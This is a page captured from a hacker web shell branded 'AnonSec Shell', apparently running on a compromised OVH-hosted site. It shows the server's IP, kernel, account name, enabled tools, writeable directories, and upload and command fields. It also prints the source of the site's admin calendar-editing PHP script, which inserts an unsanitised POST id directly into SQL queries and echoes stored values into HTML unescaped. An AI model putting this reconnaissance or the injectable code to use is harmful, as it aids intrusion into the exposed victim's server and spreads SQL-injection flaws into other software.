AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin/calendarsEdit.php
<?php
$thisCheckID	= 2;
include "globalVars.php";

include "header.php";
?>

				<h2>Update a Calendar</h2>
<?php

if (isset($_POST["updateCalendar"])) {

	$calenderID		= $_POST["calenderID"];
	$calendarName	= cleanPost($_POST["calendarName"], $conn);
	$calendarURL	= cleanPost($_POST["calendarURL"], $conn);

	mysqli_query($conn, "UPDATE calendars SET calendarName = '". addslashes($calendarName) ."', calendarURL = '$calendarURL' WHERE id = '$calenderID'") or die (mysqli_error($conn));

	$trackDate		= date("Y-m-d H:i:s");
	mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/calendarsEdit.html', 'calendars', 'The User ". addslashes($adminName) ." &lt;$adminEmail&gt; updated the calendar ID $calenderID (". addslashes($calendarName) .")')");

	echo "<p><strong>Success!</strong> The $calendarName calendar has been updated.</p>";

} elseif (isset($_POST["getCalendar"])) {
	$calenderID		= $_POST["calenderID"];

	$localClubsQuery = mysqli_query($conn, "SELECT * FROM calendars WHERE id = '$calenderID'");
	while ($lCQ = mysqli_fetch_array($localClubsQuery)) {
		$calendarName	= $lCQ["calendarName"];
		$calendarURL 	= $lCQ["calendarURL"];
	}
	?>
    <form action="calendarsEdit.html" method="post">
		<input type="hidden" name="calenderID" value="<?php echo $calenderID ?>">
		<div class="descStTab">
			<div class="pFormRow">
				<div class="pFormTitle">Calendar name:</div>
				<div class="pFormInput">
					<input type="text" name="clubName" size="50" value="<?php echo $calendarName ?>" required />
					<div class="pFormLabel">
						<label class="labelName">Calendar name:</label>
					</div>
				</div>
			</div>
			<div class="pFormRow">
				<div class="pFormTitle">Calendar URL:</div>
				<div class="pFormInput">
					<input type="url" name="calendarURL" size="50" placeholder="https://www.example.com" value="<?php echo $calendarURL ?>" />
					<div class="pFormLabel">
						<label class="labelName">Calendar URL:</label>
					</div>
				</div>
			</div>
		</div>
		<input type="submit" class="submitButton" name="updateCalendar" value="Update this Calendar" />
	</form>
    <?php
} else {
	?>
	<div class="descTab" id="htmlSelectorTab">
	<?php
	$calendarQuery = mysqli_query($conn, "SELECT * FROM calendars ORDER BY calendarName ASC") or die (mysqli_error($conn));
	while ($cQ = mysqli_fetch_array($calendarQuery)) {
		$calenderID		= $cQ["id"];
		$calendarName	= $cQ["calendarName"];
		?>
		<div class="pFormRow">
			<div class="pFormEditTitle"><?php echo $calendarName ?></div>
			<div class="pFormEditButtons">
				<form action="calendarsEdit.html" method="post"><input type="hidden" name="calenderID" value="<?php echo $calenderID ?>" />
					<input type="submit" class="submitButton" name="getCalendar" value="Edit This Calendar">
				</form><?php
				if (in_array("3", $adminPriv)) {
					if ($calenderID != 1) {
						?><br />
				<form action="calendarsDel.html" method="post"><input type="hidden" name="calenderID" value="<?php echo $calenderID ?>" />
					<input type="submit" class="deleteButton" name="getCalendar" value="Delete This Calendar">
				</form>
						<?php
					}
				}
				?>
			</div>
		</div>
		<?php
	}
	?>
	</div>
	<?php
}
?>

<?php
include "footer.php";
?>

Anon7 - 2022
AnonSec Team